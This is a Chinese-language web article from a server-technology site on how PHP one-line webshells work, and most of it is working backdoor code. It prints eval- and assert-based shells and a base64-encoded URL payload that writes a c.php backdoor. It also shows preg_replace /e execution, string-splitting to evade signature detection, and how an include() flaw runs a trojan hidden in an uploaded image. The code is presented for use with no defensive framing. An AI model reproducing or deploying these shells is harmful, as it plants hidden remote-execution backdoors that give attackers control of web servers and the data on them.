图片方式的php一句话木马工作原理以及代码 - 安全工具 - 服务器之家

服务器之家

专注于服务器技术!
当前位置:首页 > 服务器安全 > 安全工具

图片方式的php一句话木马工作原理以及代码

发布时间:2017-01-11 来源:服务器之家

标准的写法,直接通过eval执行php代码,如下:

<?php

@eval ($_POST['code']);

?>

动态执行assert生成一个木马文件(隐藏性最好的一种)如下:

<?php

@$_GET['a']($_GET['code']);

?>

使用方法:从url中传入下面参数执行后会在当前目录生成一个c.php的文件.如下:

/index.php?a=assert&code=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

a参数为eval时会报错(因为eval不是函数)木马生成失败,为assert时同样报错,但会生成木马

使用preg_replace执行代码(里面前面只要用一个的任意字符串就可以,如果不一样的话命令可能会被执行多次)如下:

<?php

@preg_replace("/re/e", $_POST['code'], "re");

?>

把特征码打散.如下:

<?php

session_start();

$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);

$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');

?>

重命名任意文件

<?php

$reg="c"."o"."p"."y";

$reg($_FILES['filename']['tmp_name'],$_FILES['filename']['name']);

?>

include的漏洞使用方法

有时候我们会上传一些图片木马但是却不能执行,这个时候如果有一个include的漏洞,那么图片木马就可以执行啦如下

如果php代码里有一个include($_GET['controller']) 且还有一个url路径为 /index.php?controller=user    这个看起来就是一个根据参数包含执行对应控制器的代码,

但是如果url路径里的参数改成这样  /index.php?uid=/upload/images/muma.jpg    这个时候木马就执行啦